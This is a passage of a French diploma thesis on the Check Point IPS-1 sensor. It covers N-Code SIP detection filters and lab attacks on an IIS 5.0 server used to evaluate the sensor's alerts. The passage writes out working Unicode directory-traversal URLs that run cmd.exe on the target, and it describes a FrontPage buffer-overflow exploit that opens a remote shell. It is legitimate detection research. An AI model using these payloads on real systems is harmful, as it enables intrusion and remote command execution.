"ALERT_EVENT_TYPE","unknown", "ALERT_ASSESSMENT","unknown",
"CONTEXT",attack :context(detection_session_setup_alert),
"METHOD",_ :METHOD[_ :KEY], "URI",_ :URI[_ :KEY],
"IP_PROTO_NUM",_ :IP_PROTO[$proto],
"IP_ADDR_SRC",$src,"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,"PORT_DST",$dport) ;
– session src : ce paramètre a été défini dans le fichier session.acf. Il représente l’alerte source
– detection session setup alert : celui-ci est également défini dans le fichier session.acf. Il
représente le nom donné à l’alerte.
– $src, $dst, $proto : ces paramètres déterminent les adresses source et destination et le
protocole utilisé.
Le reste des paramètres serviront à remplir l’interface graphique AlertDetails obtenu en double
cliquant sur l’alerte depuis l’IPS-1 Management Dashboard. Se référer à la section 3.6 du chapitre
3 pour la signification de chaque paramètre.
Pour détecter la terminaison d’une session sip, la même structure que précédemment sera utilisé.
Il s’agira de spécifier les conditions nécessaires pour la détection de l’évènement (fin session sip)
puis de définir la fonction alert().
#On teste si la requete contient une methode BYE

if (toupper(substr(_ :METHOD[_ :KEY], 0, 1024)) == "BYE") {
#On teste si la va-
riable ALERT_ON_DETECTION_SIP_SESSION_TERMINATING
est active
if(ALERT_ON_DETECTION_SIP_SESSION_TERMINATING)
{
# On teste si le call-ID de la requete bye n’est pas nul
if (($cid = substr(elem(_ :HEADERS[_ :KEY]["CALL-ID"],0), 0,
8191)) != NULL)
{
if($invite_seen[$cid]==$cid)
{
alert(session_src,detection_session_terminate_alert,
$src, $dst, $proto,
"--AlertDetails","ALERT_ID","33-15",
"ALERT_CONFIDENCE",90,
"ALERT_SEVERITY","unknown",
"ALERT_IMPACT","unknown",
"ALERT_EVENT_TYPE","unknown",
"ALERT_ASSESSMENT","unknown",
"CONTEXT",attack :context(detection_session_terminate_alert),
"METHOD",_ :METHOD[_ :KEY], "URI",_ :URI[_ :KEY],
"IP_ADDR_SRC",$src,"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,"PORT_DST",$dport) ;
$invite_seen[$cid] = NULL ;
4.2 Création d’un package et de ses backends

Dans cette section il s’agit d’écrire un filtre capable de détecter un paquet RTP. En raison de
l’absence du NDE ce filtre ne sera pas développé. Voir chapitre 5
5
Résultat des tests des filtres développés
Le document Customizing NFR Sentivist Using N-Code mentionne l’existence d’un environne-
ment de développement spécialement créé pour aider au developpement des packages et ba-
ckends. Il permet essentiellement de tester la syntaxe et de corriger d’éventuelles erreurs avant
d’implémenter un nouveau filtre sur la sonde IPS-1. Cet outil nommé N-Code Developpement
Environnement (NDE), s’installe sur la machine de developpement et ne necessite aucun lien
avec une sonde réelle. Il se compose des éléments suivants :
– le N–Code Compiler (NCC)
– le N–Code Virtual Machine (NVM)
En effet voici un des passages du document :
NCC is used to syntax check packages and backends. You do not need to
compile packages and backends before releasing them into production ;
Sentivist Sensor will compile them automatically before running them.
However, packages with syntax errors are thrown off Sentivist Sensor.
You should use NVM to test packages and backends to ensure that they
perform as designed before installing them in a production environment.
Le NCC
Le passage ci-dessus mentionne quelques points très interessants au sujet du NDE et par la
même occasion sur le fonctionnement du N-Code. En effet le NCC n’est pas un compilateur
car le N-Code n’a pas besoin d’être compilé sur la machine de développement avant d’être
envoyé sur la sonde. Cependant un fichier N-Code n’est pas non plus un script et c’est toute
la particularité du système IPS-1 : c’est la sonde elle même qui compile les filtres avant de les
mettre en service.
Le NCC est donc un analyseur syntaxique. Il met en évidence toutes les erreurs qu’il rencontre
grâce à divers messages qu’il renvoie sur le terminal.
La NVM
La NVM est une machine virtuelle qui se comporte comme une sonde et qui permet de tester le
fonctionnement d’un filtre en développement. En fournissant à cette NVM des flux ethereal pré-
enregistrés (fichier PCAP), il est possible de reconstituer le comportement d’un réseau complet
5. Résultat des tests des filtres développés 60
en simulant du trafic. C’est donc un outil extrêmement interessant car il permet de mettre au
point des filtres sans perturber un système en fonctionnement. Par exemple, dans le cadre d’une
utilisation en entreprise, ce système évite de suspendre l’activité d’une sonde durant les tests.
Il est à noter que l’utilisation du NDE n’est pas une étape obligatoire. En effet, si le developpeur
est persuadé du bon fonctionnement de ses filtres, ces derniers peuvent être envoyés directement
sur la sonde. Cependant, une des section ci-dessous va montrer que le debuggage à distance est
possible mais très laborieux.
Les outils livrés
A la place du NDE tel qu’il est décrit précédemment et dans Customizing NFR Sentivist Using
N-Code, la societé Check Point, a livré un executable nommé cli-nfrd 5.0.4.0. Lors d’un entre-
tien téléphonique, M. ossio de Check Point nous a précisé que l’exécutable doit impérativement
être installé sur une machine FreeBSD version 4. Cette ancienne version de FreeBSD est difficile
à retrouver car actuellement FreeBSD est à la version 7.
L’exécutable cli-nfrd 5.0.4.0 a un comportement similaire au NDE mais beaucoup plus li-
mité. En effet, les commandes indiquées dans Customizing NFR Sentivist Using N-Code ne
fonctionnent pas avec l’outil mis à disposition et l’absence de toute autre documentation à
rendu son utilisation très délicate. En effet, le résultat du test du filtre en développement fourni
un message d’erreur incompréhensible. Malgré l’aide de M. Chanez de la société e-Xpert solu-
tion, nous n’avons pas pu apporter une solution à notre problème. De plus, M. Ossio est resté
injoingnable durant cette période de mise en place.
Au final, l’exécutable cli-nfrd 5.0.4.0 s’est avéré être inutilisable et pour ne pas perdre plus
de temps la décision a été prise mettre de côté cette étape de vérification de syntaxe.
Insertion et test du filtre développé
En l’absence du NDE, le backend session développé dans le cadre du travail de diplôme est
directement inséré sur la sonde (sans analyse synthaxique ni test fonctionnel préalable). Pour
cela les étapes ci-dessous ont été effectuées :
1. Insertion des fichiers développés dans le répertoire usr/local/nfr/server/packages/sip de

l’IPS-1 server
2. Création du fichier avec l’extension fp (sip.fp) et copie sur un répertoire du disque. Pour
cela, depuis le répertoire usr/local/nfr/server/packages saisie de la commande :
pkgsquash sip
3. Importation du fichier sip.fp sur la sonde.
a) Depuis une fenêtre de l’IPS-1 Management Dashboard, cliquer sur l’onglet Mana-
gement et choisir Policies.
b) Depuis l’onglet Policy Inspector choisir Download from local File sélectionner
le fichier sip.fp à importer puis cliquer sur Next.
Après ces étapes, lorsqu’on ouvre la fenête x on constate que le backend session est bien présent
dans le package sip (voir figure ci-dessous).
Fig. 5.1: Backend session inséré dans le package SIP
La sonde a bien détecté les fichiers mais un message indique que quatre warning ont été générés
lors de la compilation. Aucune autre information n’est disponible ce qui rend donc la correction
du code trés difficile. Nous voyons ici que le débbugage à distance n’est chose aisé et que tout
l’uttilité du NDE apparait alors.

Après quelques tests, le filtre ne semble pas fonctionner car aucune alerte n’est émise lors de
l’établissement d’une session sip. Ce qui se cache derrière les quatres warning en est surement
la cause, mais il n’est malheureusement pas possible d’aller plus loin, raison pour laquelle le
développement du filtre session a été suspendu ainsi que les autres qui étaient prévus (RTP,
détection d’un seuil de flux RTP). Cependant le mécanisme de développement a été compris et
maitrisé et se résume comme suit :

6
Conclusion
L’IPS-1 fonctionne selon plusieurs modes dont celui d’un système de détection d’intrusion. En
effet, il a la capacité d’analyser le trafic d’un réseau et d’émettre des alertes lors d’une détection
d’intrusion.
Au cours du travail de semestre (chapitre 3) et de ce projet (chapitre 2), quelques tests pratiques
ont été effectués, avec des téléphones cisco et des softphones, pour tester les filtres de l’IPS-1
lié à la VoIP. Ces tests ont conclu que ces filtres fonctionnent correctement. Cependant ces
régles de filtrage ne permettent pas de détecter les attaques les plus courants : denis de service,
écoute clandestine, usurpation d’identité... En effet la plupart des filtres de l’IPS-1 contrôlent
la conformité des paquets sip selon les RFC sip.
La particularité de cette IDS, est l’écriture de ces règles en un langage appelé N-Code et
l’utilisation d’un NDE1 pour tester le fonctionnement du filtre développé avant l’importation
de celui-ci sur la sonde. Malheureusement, le développement des filtres a été suspendu à cause
de l’absence du NDE car sans ce celui-ci, le travail devient laborieux.
Ainsi suite à l’impossibilité d’obtenir le NDE de Check Point malgré les efforts répétés entrepris
par la société : e-Xpert Solutions SA, le cahier de charge a été modifié où il s’agira :
1. de provoquer des attaques web de type buffer overflow, Directory Traversal, Force Brute
... sur un serveur web.
2. de permettre à l’utilisateur de reconnaı̂tre ces différentes attaques.
3. d’évaluer les performances de l’IPS-1 face ces attaques.
1
Environnement de développement
TDD
Travail de diplôme
Deuxième partie : Attaques Web

7 janvier 2008
Cahier des charges
Suite à l’impossibilité d’obtenir le compilateur N-Code de Check Point malgré les efforts répétés
entrepris par la société : e-Xpert Solutions SA nous proposons de modifier le travail de diplôme de la
manière suivante :
Interrompre les activités suivantes prévues par le cahier de charge du diplôme :
– Associer tous les messages SIP appartenant à la même communication de manière à mettre en
évidence une communication SIP.
– Développer de nouvelles règles VoIP en utilisant le langage N-code pour pallier les lacunes du produit
existant.
– Tester ces nouvelles règles.
– Développer si le temps le permet un laboratoire IDS/VoIP qui devra aussi servir de laboratoire pour
le futur cours de sécurité VoIP
Poursuivre l’étude et déploiement de Check Point (IPS-1) dans un but de sécurisation d’applicatifs
web contre des attaques de type Buffer Overflow, Directory Traversal, Injection SQL etc.. L’objectif de
cet amendement est de permettre à l’utilisateur de reconnaı̂tre les différentes attaques citées ci-dessus
et d’évaluer les performances de l’IPS-1 face à ces mêmes attaques. En effet il s’agira :
– De montrer la réussite des attaques.
– D’étudier les différentes types d’alertes émises par la sonde.
– De mettre en place un mécanisme d’agrégation permettant de trouver une relation entre les alertes
émises et les attaques déployées dans le but d’éliminer les faux positifs générés par la sonde.
Table des matières
Introduction 5
Contexte et aperçus des activités . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Organisation du document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1 Buffer Overflow 7
1.1 Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.1 Attaque buffer overflow sur le serveur web . . . . . . . . . . . . . . . . . . . . . 7
1.1.2 Désactivation de FrontPage 2000 Server Extension . . . . . . . . . . . . . . . . 12
1.1.3 Attaque buffer overflow via le protocole HTTPS . . . . . . . . . . . . . . . . . 16
1.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2 Directory Traversal 20
2.1 Les Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.1 Attaque HTTP directory traversal . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.2 Attaque HTTPS directory traversal . . . . . . . . . . . . . . . . . . . . . . . . 22
2.1.3 Attaque FTP directory traversal . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
3 Force Brute 24
3.1 Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3.1.1 Attaque Force Brute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3.1.2 Tentative d’attaque Force Brute . . . . . . . . . . . . . . . . . . . . . . . . . . 30
3.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
4 L’IPS-1 et la détection de vulnérabilités 32

4.1 Nessus : scanner de vulnérabilités . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
4.2 Attaques et vulnérabilités . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
4.3 Agrégation sur l’IPS-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
5 Conclusion 45
Remerciements 46
Bibliographie 47
A Programmes et code 48
B Outils utilisés 57
C Journal de travail 62
Introduction
Contexte et aperçu des activités
Internet Information Services, communément appelé IIS, est le logiciel serveur Web intégré à windows
2000. Son rôle est de réaliser un serveur accessible via le réseau Internet/Intranet. IIS fait partie des
serveurs Web les plus difficiles à sécuriser, donc devient la cible privilégiée des attaques. En effet de
nombreuses vulnérabilités ont été découvertes dans le serveur Microsoft IIS version 5.0 dont :
– les vulnérabilités de type débordement de tampon.
– les vulnérabilités permettant à l’utilisateur de sortir de l’arborescence Web et de remonter vers les
autres répertoires du système de fichiers (directory traversal).
– les vulnérabilités permettant de contourner la politique d’authentification en utilisant l’authentifi-
cation par force brute.
Les conséquences de ces attaques peuvent être la divulgation d’informations importantes, l’accès au
code source des scripts ou au contenu des fichiers, l’exécution de commandes sur le serveur, ou même
l’accés à un compte privilégié (SYSTEM sous windows 2000).
Ces failles seront exploitées en provoquant des attaques en vue d’effectuer une étude approfondie du
comportement de la sonde IPS-1 Sensor.
Pour réaliser ces attaques un serveur windows 2000 comportant un serveur IIS version 5.0 a été rajouté
à notre réseau de tests.
Organisation du document
Chapitre 1 Buffer overflow,

Dans ce chapitre des attaques buffer overflow seront provoquées vers le serveur IIS du réseau dans le
but d’étudier le comportement de la sonde.
Chapitre 2 Directory Traversal,
Il s’agira de provoquer des attaques de type directory traversal et d’étudier la fiabilité et le compor-
tement de la sonde face à cette attaque.
Chapitre 3 Force Brute,
Une étude du comportement de la sonde sera effectuée face à des attaques force brute sur le serveur
IIS.
Chapitre 4 IPS-1 et détection de vulnérabilité,

Il s’agira d’associer le résultat d’un scan produit par l’outil Nessus à la sonde et d’étudier l’utilité de
cette association.
Chapitre 5 Conclusion
Une synthèse générale sera l’objet de ce chapitre.
1
Buffer Overflow
Le débordement de tampon (Buffer Overflow) est une des attaques web les plus connues et représente
la moitié des vulnérabilités découvertes[7]. Il se produit lorsqu’on place dans un espace mémoire plus
de données qu’il ne peut en contenir.
L’existence d’une vulnérabilité dans la gestion de mémoire d’une DLL du composant FrontPage 2000
Server Extensions du serveur IIS 5.0, est une porte ouverte aux attaquants. Une limitation de la
mémoire de la fp30reg.dll engendre un buffer overflow permettant à un utilisateur distant, non
authentifié, d’exécuter du code arbitraire sur la machine cible. Pour allouer l’espace mémoire nécessaire,
cette dll se base sur la valeur du champ d’en-tête content-length définissant la taille du message.
Cependant, une requête HTTP utilisant l’encodage de transfert chunked ne possède pas de valeur pour
ce champ. En effet, la taille totale du paquet n’est pas connue d’avance car les messages sont transferés
en série de fragments. Ainsi, aucun contrôle n’est effectué et la fp30reg.dll accepte aveuglement tout
ce qui lui ait fourni. Si la taille totale des fragments dépasse la taille de la mémoire allouée de ce dll,
ceci provoque un buffer overflow.
Pour exploiter cette attaque, un programme en C (CAN-2003-0822.c) sera exécuté provoquant un dé-
bordement de tampon en injectant en mémoire un shellcode. L’exécution du shellcode par le processeur
permet d’ouvrir un serveur Telnet sur le port 99991 donnant la possibilité à l’attaquant d’exécuter
toutes sortes de commandes sur le système distant (serveur IIS).
Au cours de ce chapitre seront effectués plusieurs tests dans le but de provoquer une attaque de type
buffer overflow sur le serveur IIS. Ces tests permettront d’évaluer le comportement de la sonde IPS-1
Sensor face à ces différentes attaques et en vue d’évaluer la performance de cette sonde.
1.1 Tests
1.1.1 Attaque buffer overflow sur le serveur web
Principe
Le principe de l’attaque est de réaliser un buffer overflow sur un serveur web IIS en exécutant le
programme CAN-2003-0822.c (voir annexe A). A l’exécution de ce programme, une requête HTTP
POST est envoyée au serveur avec l’encodage de transfert chunked. Pour entrainer un dépassement de
tampon de la dll fp30reg.dll, la requête est directement envoyé à FrontPage Server Extensions.
A la suite de l’attaque il sera question d’effectuer une étude sur le comportement de la sonde.
1
port choisi arbitrairement mais n’importe quel autre port peut être utilisé
1. Buffer Overflow 8
Mise en oeuvre
La mise en oeuvre se fera de la façon suivante :

Etape 1 : Scan les ports de la cible
Avant de mettre en place l’attaque, un scan sera effectué sur la machine cible en utlisant l’outil nmap.
Ce logiciel permet d’identifier les ports ouverts de la machine windows server 2000 contenant le serveur
IIS.
Fig. 1.1: Scan des ports de la machine cible avant attaque
Le port 9999 choisi pour profiter de la vulnérabilité de la dll est pour le moment bien fermé.
Etape 2 : Exécution de CAN-2003-0822.c
Il s’agit d’exécuter le programme C pour provoquer l’attaque.
En parallèle, le réseau est sniffé montrant le trafic suivant :
1. La machine attaquante (192.168.0.6) envoie une requête HTTP de type POST vers la cible
(192.168.0.5)
2. La machine cible (serveur IIS) envoie une réponse de type 100 Continue pour confimer la
réception de la demande
Fig. 1.2: Envoi d’une requête vers le serveur IIS et réponse du Serveur
Résultat
A la suite de l’attaque, un scan est effectué avec Nmap pour détecter les ports ouverts de la machine
cible. Le résultat du scan montre l’ouverture du port 9999 indiquant la réussite de l’attaque.
Fig. 1.3: Ouverture du port 9999 montrant la réussite de l’attaque Buffer overflow
En effet, lors de la réussite de l’attaque un shellcode est exécuté en mémoire, ouvre un serveur telnet
et donne la possibilité à tout utilisateur de se connecter sur ce port et d’exécuter des commandes
sur la machine cible. Sur le graphe ci-dessous sont listées les données du répertoire SYSTEM par la
commande “dir”.
Fig. 1.4: Connexion à distance sur la machine cible et exécution de la commande dir
Comportement de la sonde
L’IPS-1 Sensor, chargé de contrôler le réseau, émet vers l’IPS-1 management Dashboard quatres alertes
différentes :
Fig. 1.5: Alertes émises à la suite d’une attaque Buffer Overflow
Voici une synthèse de la signification des alertes2 .

Première alerte : www2 iis :chunked encoding alert
Cette alerte de haute priorité est émise lorsque la sonde détecte sur le réseau une requête HTTP
utilisant l’encodage de transfert chunked. Ce type d’encodage permet de transmettre un message en
le décomposant en morceaux. Chacun de ces morceaux est précédé par une ligne de texte donnant sa
taille en hexadécimal.
Les paquets sniffés lors de l’attaque montrent l’encodage de transfert dans le champ Transfert-Encoding
de l’en-tête.
2
Synthèse réalisée grâce au fichier descriptif des différentes alertes
Fig. 1.6: Mise en évidence de l’encodage de transfert “chunked”
Deuxième alerte : www2 iis :www iis ms03 051 a alert

Celle-ci, également de haute priorité est émise lorsqu’une requête HTTP vérifie les deux critères
suivants :
1. requête destinée à la dll fp30reg.dll

2. tranfert du message en mode chunked.
Troisième alerte : www2 compliance :binary request alert

Cette alerte est déclenchée lorsque une requête HTTP contenant des données binaires circule sur le
réseau.
Lors de l’éxécution du programme CAN-2003-0822, un shellcode contenant des données binaires est
injecté en mémoire. Ceci peut être signe d’un acte malveillant car dans la majorité des cas les crash
de serveur sont provoqués par l’envoie de données binaires vers la cible.
Quatrième alerte : www2 compliance :www compliance content length and chunked transfer alert
Cette dernière alerte est émise lorsqu’une requête HTTP envoyée au serveur contient d’une part le
champ d’en-tête content_length définissant la taille des données à attendre de la part du client
et d’autre part lorsque cette même requête utilise l’encodage de transfert chunked ( taille totale du
message non connue lors du transfert). Le fait que ces deux champs soient présents dans l’en-tête d’une
requête HTTP est suspect et contradictoire, ce qui est considéré par la sonde comme annonciateur
d’une attaque.
Fig. 1.7: Utilisation simultannée de deux champs d’en-tête : Transfer-Encoding et Content-Length
1.1.2 Désactivation de FrontPage 2000 Server Extension
Principe
En vue d’une étude approfondie de la sonde deux questions se posent :
1. La sonde déclenche-t-elle des alertes uniquement lorsqu’une attaque buffer overflow a abouti ?
2. La sonde déclenche-t-elle des alertes dès qu’il y a tentative d’attaque buffer overflow même si
celle-ci se résume par un échec ?
Pour clarifier cette situation le composant vulnérable FrontPage 2000 Server Extension est désactivé
bloquant toute attaque buffer overflow sur le serveur IIS.
Mise en oeuvre

Le rédémarrage de windows server 2000 annule l’attaque buffer overflow effectuée précédemment. En
effet, en effectuant un scan, nous constatons que le port 9999 permettant d’accéder à la machine cible
via le serveur Telnet, suite à une attaque buffer overflow est bien fermé.
Etape 2 : Désactivation du composant FrontPage 2000, puis exécution de CAN-2003-

0822.c
La présence d’un tampon non controlé dans le fichier fp30reg.dll de FrontPage Server Extensions
est souvent à l’origine d’un débordement de tampon. En désactivant le composant FrontPage Server
Extensions de IIS, le serveur n’est plus en danger car l’attaque buffer overflow est bloquée.
L’exécution de ce programme C tente une attaque se résumant par un échec.
Lors de l’éxécution du code C, le trafic montrant l’envoi de la requête HTTP en vue de provoquer
l’attaque peut être visualisé par l’outil wireshark :
Fig. 1.9: Envoi d’une requête vers le serveur IIS et réponse du Serveur
Résultat
Après l’attaque un scan est effectué de nouveau. Comme attendu l’attaque buffer overflow a échoué
car le port 9999 choisi pour profiter de la vulnérabilité de la dll fp30reg.dll, afin d’accéder à la machine
cible est bien fermé. Ainsi il est impossible d’accéder aux répertoires de la machine cible windows
seveur 2000.
Fig. 1.10: Scan des ports de la machine cible après attaque
Bien que l’attaque buffer overflow n’ait pas abouti, l’IPS-1 Sensor a tout de même émis les mêmes
quatres alertes qu’au test précédent :
1. www2 iis :chunked encoding alert

2. www2 iis :www iis ms03 051 a alert
3. www2 compliance :binary request alert
4. www2 compliance :www compliance content length and chunked transfer alert
Fig. 1.11: Alertes émises lors d’une tentative d’attaque buffer overflow non aboutie
1.1.3 Attaque buffer overflow via le protocole HTTPS
Principe
Le protocole HTTPS permet également de transmettre des données du client vers le serveur en garan-
tissant le confidentialité et l’intégrité des données envoyées. L’exploit (CAN-2003-0822.c) sera modifié
afin que ce dernier dirige l’attaque vers un des ports ouverts et non vulnérable de la cible par exemple
le port 443. L’idée de cette attaque est d’étudier plus en détail le comportement de la sonde :
1. La présence d’un shellcode dans un paquet circulant sur le réseau suffit-il pour engendrer des
alertes quelque soit le port de destination (vulnérable ou non vulnérable) ?
Mise en oeuvre
Les étapes à réaliser pour la mise en oeuvre de cette attaque sont :

De manière identique que les étapes précédant, un scan est effectué avant la mise en place de l’attaque
montrant bien la fermeture du port 9999.
Etape 2 : Exécution de CAN-2003-0822.c

Dans cette deuxième étape le code du programme CAN-2003-0822.c est modifé dans le but de diriger
l’attaque vers un autre port ouvert différent du port vunérable 80, le port non vulnérable 443.
Après compilation et exécution du code C nous observons que le paquet provoquant l’attaque buffer
overflow a été transmis au serveur IIS via port 443 :
Fig. 1.13: Envoi d’un paquet provoquant une attaque buffer overflow vers le serveur IIS par SSL
Résultat
A la suite de l’attaque un scan est effectué sur la machine cible. Comme le montre le schéma ci-dessous
le port 9999 permettant de prendre le contrôle de la machine cible n’est pas ouvert. Ce qui permet de
déduire que l’attaque buffer overflow a échoué.
Fig. 1.14: Scan des ports de la machine cible après attaque
Lors de la tentative de cette attaque la sonde n’émet aucune alerte.
Fig. 1.15: Pas de détection d’alertes suite à la tentative d’attaque overflow
1.2 Synthèse
Suite à l’analyse précédente, on constate que l’IPS-1 Sensor émet quatres alertes différentes dès qu’une
tentative d’attaque de type buffer overflow est détectée, que celle-ci soit réussi est non. Nous en
déduisons que la sonde ne se base pas sur le résultat de l’attaque mais plutôt sur la structure des
paquets circulant dans le réseau.
Un des points frappant dans les descriptions des alertes est l’utilisation systèmatique des mots pro-
bably, possibly, may be... pour indiquer qu’il peut avoir une possibilité d’attaque sans pour autant
l’affirmer. Voici quelques exemples :
Le test de la section 1.1.3 apporte quelques précisions sur le mode de fonctionnement de la sonde.
Avant de s’intéresser à la structure des paquets circulant sur le réseau, la sonde contrôle le port de
destination du paquet. Si ce dernier est un port vulnérable alors la sonde s’intéresse à la composition
du paquet. Dans le cas contraire aucun contrôle n’est effectué. En effet, lors de la présence de shellcode
dans le paquet dirigé vers le port 443 (section 1.1.3) aucune alerte n’est émise car ce port n’est pas
vulnérable tandis que lorsque ce même paquet est dirigé vers le port vulnérable 80 (sections 1.1.2 et
1.1.3 ) une alerte est émise indiquant la présence d’un shellcode.
Suite aux tests effectués, il est impossible de différencier le cas où l’attaque buffer overflow a réussi
du cas où il s’agit uniquement d’une tentative d’attaque. Ce qui risque d’engendrer beaucoup de faux
positifs. Pour améliorer la performance de la sonde, il serait judicieux de développer des filtres N-Code
permettant de contrôler les signatures des paquets de retour de la même manière que pour l’attaque.
Une autre idée d’amélioration est d’émettre des alertes lorsqu’on détecte une ouverture de connexion
Telnet après une attaque buffer overflow. Par exemple, après détection de dépassement de tampon,
si une session Telnet est créé sur la machine cible par l’envoi du flag SYN/ACK par le serveur cela
est probablement dû à une attaque buffer overflow car l’attaquant tente de prendre le contrôle de la
machine cible.
2
Directory Traversal
Une des vulnérabilité les plus critiques pour IIS 5 rendues publiques dans la première moitié de l’année
2001 concernait les problèmes de violation de répertoire appelé directory Traversal. Une mauvaise
gestion de l’unicode dans le serveur IIS est exploitée pour effectuer une attaque de ce type. Ceci
s’effectue en envoyant une requête vers le serveur affecté avec le caractère “\” codé en unicode. La
conséquence de cette requête permet de traverser le répertoire actuel d’une application web et de
remonter vers les autres répertoires du système de fichiers. Cette attaque est généralement réalisée
via des URLs spécialement conçues dont nous verrons la forme dans les tests effectués ci-dessous. En
effet deux tests seront mis en place pour tester le comportement de la sonde face à l’attaque directory
traversal.
2.1 Les Tests
2.1.1 Attaque HTTP directory traversal
Principe
Le principe de cette attaque est d’exploiter la faille du serveur IIS en navigant sur le disque pour y
exécuter du code à distance. Cette attaque est réalisée en envoyant une requête http de type GET vers
le serveur web IIS qui permet la remontée jusqu’à l’éxécutable cmd.exe afin d’y exécuter la commande
DOS dir.
Mise en oeuvre
Pour accéder à l’interpréteur de commandes windows nous tapons dans la barre d’adresse l’URL
ci-dessous. Nous constatons que le caractère “\” est codé en unicode.
http ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/
system32/cmd.exe ?/c+dir+c :\+/OG
Résultat
A la suite de l’exécution de l’URL ci-dessus une requête http directory traversal est transmit vers la
machine cible.
2. Directory Traversal 21
Fig. 2.1: Envoi d’une requête HTTP pour effectuer une attaque Directory Traversal
L’attaque directory traversal a réussi car un éxécutable cmd.exe est généré. L’ouverture de celui-ci
liste le contenu du répertoire racine C :\ qui en principe n’est accessible que par l’utilisateur root.
Fig. 2.2: Résultat de l’attaque directory traversal : affichage du contenu du répertoire racine
A la suite de l’attaque la sonde émet une alerte de priorité moyenne (Med) vers la console d’alertes
l’IPS-1 Management Dashboard comme mise en évidence sur le schéma ci-dessous :
Fig. 2.3: Déclenchement d’une alerte suite à une attaque Directory Traversal
Alerte émise : www2 iis :nimda scan alert

Cette alerte est émise lorsqu’une requête HTTP est perçue, faisant partie d’une série de requêtes
générées par le vers Nimda dans le but d’exploiter la vulnérabilité directory traversal du serveur IIS
en essayant d’atteindre le répertoire racine de l’hôte.
2.1.2 Attaque HTTPS directory traversal
Principe
Le principe de cette attaque est d’envoyer une requête vers le serveur web en utilisant le service https.
L’objectif de cette requête est d’atteindre l’interpréteur de commande windows (cmd.exe) afin d’y
exécuter la commande DIR.
Mise en oeuvre
Pour atteindre cmd.exe via le protocole https, il suffit juste de saisir l’URL ci-dessus en remplaçant
http par https dans un navigateur.
https ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt
/system32/cmd.exe ?/c+dir+c :\+/OG
Résultat
A la suite de cette attaque et contrairement au test précedent le contenu du répertoire C :\ n’est pas
fourni. Ce qui confirme l’échec de l’attaque.
L’IPS-1 Sensor n’émet aucune alerte comme précédemment car le vers nimda utilise uniquement le
port 80 pour exploiter la faille Unicode Web Traversal exploit[10].
Fig. 2.4: Envoi d’une requête via le protocole HTTPS pour provoquer l’attaque Directory Traversal
2.1.3 Attaque FTP directory traversal
Principe
Le principe de ce test est d’utiliser le service ftp pour naviguer sur le disque afin d’atteindre l’inter-
préteur de commande windows NT.
Mise en oeuvre
Pour atteindre cmd.exe via le protocole ftp, il suffit juste de saisir l’URL ci-dessous (remplaçement de
http par ftp) dans un navigateur.
ftp ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt
/system32/cmd.exe ?/c+dir+c :\+/OG
Résultat
Comme précédemment l’attaque a échoué car le contenu du répertoire C :\ n’a pas été fourni.
Bien que l’attaque ait échouée, la sonde a émis quatres mêmes alertes de priorité moyenne (Med)
comme indiqué sur la figure suivante.
Fig. 2.5: Envoi d’une requête via le protocole FTP pour provoquer l’attaque Directory Traversal
Alerte : ftp commands :root traversal alert

Cette alerte est déclenchée lorsque des utilisateurs anonymes tentent d’accéder au delà du répertoire
/root sans utilisation de mot de passe.
2.2 Synthèse
Dans le cas d’une attaque HTTP Directory Traversal, la sonde détecte de manière fiable cette at-
taque. De plus aucun faux positifs n’accompagne l’alerte émise par l’IPS-1. En se référant au fichier
www2/iis.nfr du backend www2/iis où sont définis les règles nous constatons que la sonde possède une
base de signature pour chaque variante unicode lui permettant de détecter toute attaque provoquant
une remontée des rèpertoires (directory traversal).
Cependant en effectuant cette attaque via le protocole ftp la sonde émet des alertes bien que la
tentative d’intrusion a échouée. Ces alertes sont des faux positifs rien de réellement sérieux, juste une
mise en garde sur le fait que quelqu’un a lancé une attaque alors qu’en réalité tout est normal. Ce type
d’attaque ne permet pas de prendre le contrôle de la machine cible. Ainsi il serait difficile d’améliorer
davantage la fiabilité des règles associées au protocole ftp afin de garantir la réussite de l’attaque.
3
Force Brute
Une attaque par bruit de force est une méthode utilisée pour essayer de découvrir un mot de passe. Il
s’agit de tester, une à une, toutes les combinaisons possibles soit en combinant plusieurs caractères ou
soit en se basant sur un dictionnaire de mots de passe assez facile à découvrir. Cependant sur certain
système d’exploitation, le mécanisme d’authentification ne vérouille pas les comptes utilisateurs après
un nombre donné de tentatives d’authentification échouées (par exemple windows ne vérouille pas le
compte Administrateur). Ainsi un agresseur dispose de tout le temps nécessaire pour découvrir un
mot de passe. Le logiciel hydra est réputé comme meilleur outil pour effectuer une attaque de type
force brute et supporte de nombreux services d’authentification (ftp, http, pop3, ssh, telnet...). Tout
au long de ce chapitre cet outil sera utilisé pour mettre en place l’attaque force brute.
3.1 Tests
3.1.1 Attaque Force Brute
Principe
L’attaque est basée sur un dictionnaire de nom comportant un ensemble de mots d’utilisateurs dont
un nom d’utilisateur valide et un autre dictionnaire de mot de passe dont le mot de passe associé
au nom d’utilisateur valide. Il s’agit de tester, une à une, toutes les combinaisons possibles jusqu’à
détecter le mot de passe associé au nom d’utilisateur valide.
Mise en oeuvre
Cette attaque est effectuée grâce au logiciel hydra sous forme de live CD. Ne possédant pas de logiciel
